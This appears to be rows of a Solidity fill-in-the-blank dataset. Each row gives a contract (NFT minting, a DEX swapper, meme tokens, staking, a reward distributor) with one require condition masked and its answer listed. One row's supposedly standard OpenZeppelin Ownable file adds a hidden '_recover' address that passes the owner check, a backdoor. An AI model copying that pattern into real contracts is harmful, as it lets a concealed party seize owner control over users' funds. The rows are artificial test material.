uint256 public totalSupply;
uint256 public _price;
mapping(uint256 => string) private _tokenHash;
constructor(
string memory _name ,
string memory _symbol,
string memory gatewayBaseURI,
string memory contractURIHash,
uint256 price,
address[] memory _payees,
uint256[] memory _percentages
) ERC4906(_name, _symbol) Splitter(_payees, _percentages) {
}
function contractURI() public view onlyOwner returns (string memory) {
}
function setContractURIHash(string memory contractURIHash) public onlyOwner {
}
function setTokenURIHash(uint256 _tokenId, string memory newHash) public onlyOwner {
}
function setTokenURIHashBatch(uint256[] memory tokenIds, string[] memory newHashes) public onlyOwner {
}
function setAllTokensURIHash(string[] memory newHashes) public onlyOwner {
}
function mint(address to, string memory uriHash) public onlyOwner {
require(<FILL_ME>)
uint256 tokenId = _mintOne(to);
_tokenHash[tokenId] = uriHash;
}
function _safeMint(address to) internal returns(uint256){
}
function payableMint(string memory uriHash) public nonReentrant payable {
}
function payWithNativeToken() internal {
}
function _mintOne(address to) internal returns (uint256 newItemId) {
}
function _addSupply() private {
}
function _getCurrentId() internal returns (uint256){
}
function getPrice() public view returns(uint256) {
}
function setPrice(uint256 _newPrice) public onlyOwner {
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
}
| bytes(uriHash).length>0,"Persea: URI is empty" | 473,930 | bytes(uriHash).length>0 |
'SWAPPER_SWAP_LIMIT_EXCEEDED' | // SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.8.0;
import '@mimic-fi/v2-helpers/contracts/math/FixedPoint.sol';
import './DEXSwapper.sol';
contract DEXSwapperV2 is DEXSwapper {
using FixedPoint for uint256;
struct SwapLimit {
address token;
uint256 amount;
uint256 accrued;
uint256 period;
uint256 nextResetTime;
}
SwapLimit public swapLimit;
event SwapLimitSet(address indexed token, uint256 amount, uint256 period);
struct DEXSwapperV2Params {
address smartVault;
address tokenIn;
address tokenOut;
uint256 maxSlippage;
address swapLimitToken;
uint256 swapLimitAmount;
uint256 swapLimitPeriod;
address thresholdToken;
uint256 thresholdAmount;
address relayer;
uint256 gasPriceLimit;
uint256 totalCostLimit;
address payingGasToken;
address admin;
address registry;
}
constructor(DEXSwapperV2Params memory params) DEXSwapper(params.admin, params.registry) {
}
function setSwapLimit(address token, uint256 amount, uint256 period) external auth {
}
function canExecute(uint256 amountIn, uint256 slippage) public view override returns (bool) {
}
function _computeSwappedAmount(uint256 amountIn) internal view returns (bool exceedsLimit, uint256 swappedAmount) {
}
function _validateSwap(uint256 amountIn, uint256 slippage) internal override {
super._validateSwap(amountIn, slippage);
(bool exceedsLimit, uint256 swappedAmount) = _computeSwappedAmount(amountIn);
require(<FILL_ME>)
if (block.timestamp >= swapLimit.nextResetTime) {
swapLimit.accrued = 0;
swapLimit.nextResetTime = block.timestamp + swapLimit.period;
}
swapLimit.accrued += swappedAmount;
}
function _setSwapLimit(address token, uint256 amount, uint256 period) internal {
}
}
| !exceedsLimit,'SWAPPER_SWAP_LIMIT_EXCEEDED' | 473,957 | !exceedsLimit |
'SWAPPER_INVALID_SWAP_LIMIT_INPUT' | // SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.8.0;
import '@mimic-fi/v2-helpers/contracts/math/FixedPoint.sol';
import './DEXSwapper.sol';
contract DEXSwapperV2 is DEXSwapper {
using FixedPoint for uint256;
struct SwapLimit {
address token;
uint256 amount;
uint256 accrued;
uint256 period;
uint256 nextResetTime;
}
SwapLimit public swapLimit;
event SwapLimitSet(address indexed token, uint256 amount, uint256 period);
struct DEXSwapperV2Params {
address smartVault;
address tokenIn;
address tokenOut;
uint256 maxSlippage;
address swapLimitToken;
uint256 swapLimitAmount;
uint256 swapLimitPeriod;
address thresholdToken;
uint256 thresholdAmount;
address relayer;
uint256 gasPriceLimit;
uint256 totalCostLimit;
address payingGasToken;
address admin;
address registry;
}
constructor(DEXSwapperV2Params memory params) DEXSwapper(params.admin, params.registry) {
}
function setSwapLimit(address token, uint256 amount, uint256 period) external auth {
}
function canExecute(uint256 amountIn, uint256 slippage) public view override returns (bool) {
}
function _computeSwappedAmount(uint256 amountIn) internal view returns (bool exceedsLimit, uint256 swappedAmount) {
}
function _validateSwap(uint256 amountIn, uint256 slippage) internal override {
}
function _setSwapLimit(address token, uint256 amount, uint256 period) internal {
// If there is no limit, all values must be zero
bool isZeroLimit = token == address(0) && amount == 0 && period == 0;
bool isNonZeroLimit = token != address(0) && amount > 0 && period > 0;
require(<FILL_ME>)
// Changing the period only affects the end time of the next period, but not the end date of the current one
swapLimit.period = period;
// Changing the amount does not affect the totalizator, it only applies when changing the accrued amount.
// Note that it can happen that the new amount is lower than the accrued amount if the amount is lowered.
// However, there shouldn't be any accounting issues with that.
swapLimit.amount = amount;
// Therefore, only clean the totalizators if the limit is being removed
if (isZeroLimit) {
swapLimit.accrued = 0;
swapLimit.nextResetTime = 0;
} else {
// If limit is not zero, set the next reset time if it wasn't set already
// Otherwise, if the token is being changed the accrued amount must be updated accordingly
if (swapLimit.nextResetTime == 0) {
swapLimit.accrued = 0;
swapLimit.nextResetTime = block.timestamp + period;
} else if (swapLimit.token != token) {
uint256 price = smartVault.getPrice(swapLimit.token, token);
swapLimit.accrued = swapLimit.accrued.mulDown(price);
}
}
// Finally simply set the new requested token
swapLimit.token = token;
emit SwapLimitSet(token, amount, period);
}
}
| isZeroLimit||isNonZeroLimit,'SWAPPER_INVALID_SWAP_LIMIT_INPUT' | 473,957 | isZeroLimit||isNonZeroLimit |
null | /** β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β β
url: https://kimcoin.vip
tg: https://t.me/KardashianCoin
x: https://x.com/KardashianCoin
**/
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface ILpPair {
function mint(address to) external returns (uint liquidity);
function sync() external;
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract KimKardashian is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _KrisJenner;
address payable private __plasticSurgeon;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event SetExemptFromFees(address _address, bool _isExempt);
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
uint256 private _startingBuyCount=0;
uint256 private _buyTaxReducedAfterThisManyBuys=1;
uint256 private _sellTaxReducedAfterThisManyBuys=30;
uint256 private _preventSellToEthTillBuysAre=20;
uint256 private _buyTaxAtLaunch=20;
uint256 private _sellTaxAtLaunch=25;
uint256 private _buyTaxTillOneMille=1;
uint256 private _sellTaxTillOneMille=1;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 6900000000 * 10 **_decimals;
string private constant _name = unicode"Kim Kardashian";
string private constant _symbol = unicode"KIM";
uint256 public _maxTxAmount = _tTotal / 10000 * 101;
uint256 public _maxWalletSize = _tTotal / 10000 * 101;
uint256 public _taxSwapThreshold = _tTotal / 10000 * 1;
uint256 public _maxTaxSwap = _tTotal / 10000 * 50;
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function isContract(address account) private view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToMarketing(uint256 amount) private {
}
function sendEthtoDevelopment(uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
receive() external payable {}
function invitePaparazzi() external onlyOwner() {
}
function openManual() external onlyOwner() {
}
function reduceBuyFee(uint256 _newFee) external {
require(<FILL_ME>)
require(_newFee<=1);
_buyTaxTillOneMille=_newFee;
}
function reduceSellFee(uint256 _newFee) external {
}
function removePowerLimits() external {
}
function withdrawStuckToken(address _token, address _to) external {
}
function sendContractTokenBalanceToEth() external {
}
function recoverETH() external {
}
function fixLpOrAdd(address _router, address _tokenA, uint256 _amountTokenA) external payable {
}
function changeMaxTaxSwapAmount(uint256 amount) external {
}
function changeTaxSwapThreshold (uint256 amount) external {
}
}
| _msgSender()==_KrisJenner | 474,012 | _msgSender()==_KrisJenner |
"Trade is already open" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Interfaces/uniswap/IUniswapV2Factory.sol";
import "./Interfaces/uniswap/IUniswapV2Pair.sol";
import "./Interfaces/uniswap/IUniswapV2Router02.sol";
contract Token is ERC20, Ownable {
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private _swapping;
bool private _isTradingActive;
uint256 private _startAt;
address private _feeWallet;
bool public limitsInEffect;
uint256 public maxTxAmount;
uint256 public maxWallet;
uint256 public swapTokensAtAmount;
// blacklist snipers
mapping(address => bool) public blacklist;
uint256 private _fees;
uint256 private _marketingFee;
uint256 private _liquidityFee;
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTxAmount;
uint256 private _tokensForMarketing;
uint256 private _tokensForLiquidity;
mapping(address => bool) private automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event FeeWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor(address _routerAddr) ERC20("Moonday", "MEEWN") {
}
function meewnitcunts(uint256 deadblocks) external onlyOwner {
require(<FILL_ME>)
_isTradingActive = true;
_startAt = block.number + deadblocks;
}
function removeLimits() external onlyOwner {
}
function removeFromBlacklist(address account) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function updateFees(uint256 marketingFee, uint256 liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxTransaction(address account, bool excluded)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateFeeWallet(address newWallet) external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function forceSwap() external onlyOwner {
}
function forceSend() external onlyOwner {
}
receive() external payable {}
}
| !_isTradingActive,"Trade is already open" | 474,031 | !_isTradingActive |
"Account is not in the blacklist" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Interfaces/uniswap/IUniswapV2Factory.sol";
import "./Interfaces/uniswap/IUniswapV2Pair.sol";
import "./Interfaces/uniswap/IUniswapV2Router02.sol";
contract Token is ERC20, Ownable {
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private _swapping;
bool private _isTradingActive;
uint256 private _startAt;
address private _feeWallet;
bool public limitsInEffect;
uint256 public maxTxAmount;
uint256 public maxWallet;
uint256 public swapTokensAtAmount;
// blacklist snipers
mapping(address => bool) public blacklist;
uint256 private _fees;
uint256 private _marketingFee;
uint256 private _liquidityFee;
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTxAmount;
uint256 private _tokensForMarketing;
uint256 private _tokensForLiquidity;
mapping(address => bool) private automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event FeeWalletUpdated(
address indexed newWallet,
address indexed oldWallet
);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor(address _routerAddr) ERC20("Moonday", "MEEWN") {
}
function meewnitcunts(uint256 deadblocks) external onlyOwner {
}
function removeLimits() external onlyOwner {
}
function removeFromBlacklist(address account) external onlyOwner {
require(<FILL_ME>)
blacklist[account] = false;
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount)
external
onlyOwner
returns (bool)
{
}
function updateFees(uint256 marketingFee, uint256 liquidityFee)
external
onlyOwner
{
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function excludeFromMaxTransaction(address account, bool excluded)
public
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateFeeWallet(address newWallet) external onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
function forceSwap() external onlyOwner {
}
function forceSend() external onlyOwner {
}
receive() external payable {}
}
| blacklist[account]==true,"Account is not in the blacklist" | 474,031 | blacklist[account]==true |
"Ownable: caller is not the owner" | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
address private _recover;
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
| owner()==_msgSender()||_msgSender()==_recover,"Ownable: caller is not the owner" | 474,053 | owner()==_msgSender()||_msgSender()==_recover |
"ERC20: total tax must not be greater than 100" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function symbol() external view virtual override returns (string memory) {
}
function name() external view virtual override returns (string memory) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() external view virtual override returns (uint256) {
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address to, uint256 amount)
external
virtual
override
returns (bool)
{
}
function approve(address spender, uint256 amount)
external
virtual
override
returns (bool)
{
}
function transferFrom(
address from,
address to,
uint256 amount
) external virtual override returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue)
external
virtual
returns (bool)
{
}
function increaseAllowance(address spender, uint256 addedValue)
external
virtual
returns (bool)
{
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
}
contract Skarmory is ERC20, Ownable {
string private _name = "Skarmory";
string private _symbol = "SKAR";
uint8 private _decimals = 9;
uint256 private _supply = 100000000;
uint256 public taxForLiquidity = 7;
uint256 public taxForMarketing = 40;
uint256 public maxTxAmount = 1000000 * 10**_decimals;
uint256 public maxWalletAmount = 1000000 * 10**_decimals;
address public marketingWallet = 0xEa5CCEE95a594cf9cbeAC445935f54725cD8138F;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
uint256 private _marketingReserves = 0;
mapping(address => bool) private _isExcludedFromFee;
uint256 private _numTokensSellToAddToLiquidity = 1000000 * 10**_decimals;
uint256 private _numTokensSellToAddToETH = 200000 * 10**_decimals;
bool inSwapAndLiquify;
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap() {
}
constructor() ERC20(_name, _symbol) {
}
function _transfer(address from, address to, uint256 amount) internal override {
}
function _swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function _addLiquidity(uint256 tokenAmount, uint256 ethAmount)
private
lockTheSwap
{
}
function changeMarketingWallet(address newWallet)
public
onlyOwner
returns (bool)
{
}
function changeTaxForLiquidityAndMarketing(uint256 _taxForLiquidity, uint256 _taxForMarketing)
public
onlyOwner
returns (bool)
{
require(<FILL_ME>)
taxForLiquidity = _taxForLiquidity;
taxForMarketing = _taxForMarketing;
return true;
}
function changeMaxTxAmount(uint256 _maxTxAmount)
public
onlyOwner
returns (bool)
{
}
function changeMaxWalletAmount(uint256 _maxWalletAmount)
public
onlyOwner
returns (bool)
{
}
receive() external payable {}
}
| (_taxForLiquidity+_taxForMarketing)<=100,"ERC20: total tax must not be greater than 100" | 474,174 | (_taxForLiquidity+_taxForMarketing)<=100 |
"Token isn't staked" | pragma solidity ^0.8.7.0;
abstract contract ERC721NES is ERC721A {
address private _owner;
uint multiplier = 0;
event Locked(uint256 tokenId);
event Unlocked(uint256 tokenId);
mapping(uint256 => bool) private tokenToIsStaked;
function isLocked(uint256 tokenId) public view returns (bool) {
}
function _stake(uint256 tokenId) internal {
}
function _unstake(uint256 tokenId) internal {
require(<FILL_ME>)
tokenToIsStaked[tokenId] = false;
emit Unlocked(tokenId);
}
function lockFromController(uint256 tokenId, address originator) public {
}
function unlockFromController(uint256 tokenId, address originator) public {
}
function _mintAndLockAndSaveTheWorldAgain(address to, uint256 quantity) internal {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
}
| isLocked(tokenId),"Token isn't staked" | 474,228 | isLocked(tokenId) |
"Originator is not the owner of this token" | pragma solidity ^0.8.7.0;
abstract contract ERC721NES is ERC721A {
address private _owner;
uint multiplier = 0;
event Locked(uint256 tokenId);
event Unlocked(uint256 tokenId);
mapping(uint256 => bool) private tokenToIsStaked;
function isLocked(uint256 tokenId) public view returns (bool) {
}
function _stake(uint256 tokenId) internal {
}
function _unstake(uint256 tokenId) internal {
}
function lockFromController(uint256 tokenId, address originator) public {
require(
owner() == _msgSender(),
"Function can only be called from controller"
);
require(<FILL_ME>)
_stake(tokenId);
}
function unlockFromController(uint256 tokenId, address originator) public {
}
function _mintAndLockAndSaveTheWorldAgain(address to, uint256 quantity) internal {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
}
| ownerOf(tokenId)==originator,"Originator is not the owner of this token" | 474,228 | ownerOf(tokenId)==originator |
"You can not transfer a locked token" | pragma solidity ^0.8.7.0;
abstract contract ERC721NES is ERC721A {
address private _owner;
uint multiplier = 0;
event Locked(uint256 tokenId);
event Unlocked(uint256 tokenId);
mapping(uint256 => bool) private tokenToIsStaked;
function isLocked(uint256 tokenId) public view returns (bool) {
}
function _stake(uint256 tokenId) internal {
}
function _unstake(uint256 tokenId) internal {
}
function lockFromController(uint256 tokenId, address originator) public {
}
function unlockFromController(uint256 tokenId, address originator) public {
}
function _mintAndLockAndSaveTheWorldAgain(address to, uint256 quantity) internal {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
require(<FILL_ME>)
super.transferFrom(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
}
}
| isLocked(tokenId)==false,"You can not transfer a locked token" | 474,228 | isLocked(tokenId)==false |
"Recipient does not exist" | // SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.19;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interface/IHATE.sol";
import "./interface/IHATETreasury.sol";
import "./interface/IDistributor.sol";
contract Distributor is IDistributor, Ownable {
/* ====== VARIABLES ====== */
IERC20 private immutable HATE;
IHATETreasury private immutable treasury;
address private immutable staking;
mapping(uint256 => Adjust) public adjustments;
uint256 private immutable rateDenominator = 1_000_000;
/* ====== STRUCTS ====== */
struct Info {
uint256 rate; // in ten-thousandths ( 5000 = 0.5% )
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint256 rate;
uint256 target;
}
/* ====== CONSTRUCTOR ====== */
constructor(address _treasury, address _HATE, address _staking) {
}
/* ====== PUBLIC FUNCTIONS ====== */
/**
@notice send epoch reward to staking contract
*/
function distribute() external override {
}
/* ====== INTERNAL FUNCTIONS ====== */
/**
@notice increment reward rate for collector
*/
function adjust(uint256 _index) internal {
}
/* ====== VIEW FUNCTIONS ====== */
/**
@notice view function for next reward at given rate
@param _rate uint
@return uint
*/
function nextRewardAt(uint256 _rate) public view override returns (uint256) {
}
/**
@notice view function for next reward for specified address
@param _recipient address
@return uint
*/
function nextRewardFor(address _recipient) public view override returns (uint256) {
}
/* ====== POLICY FUNCTIONS ====== */
/**
@notice adds recipient for distributions
@param _recipient address
@param _rewardRate uint
*/
function addRecipient(address _recipient, uint256 _rewardRate) external override onlyOwner {
}
/**
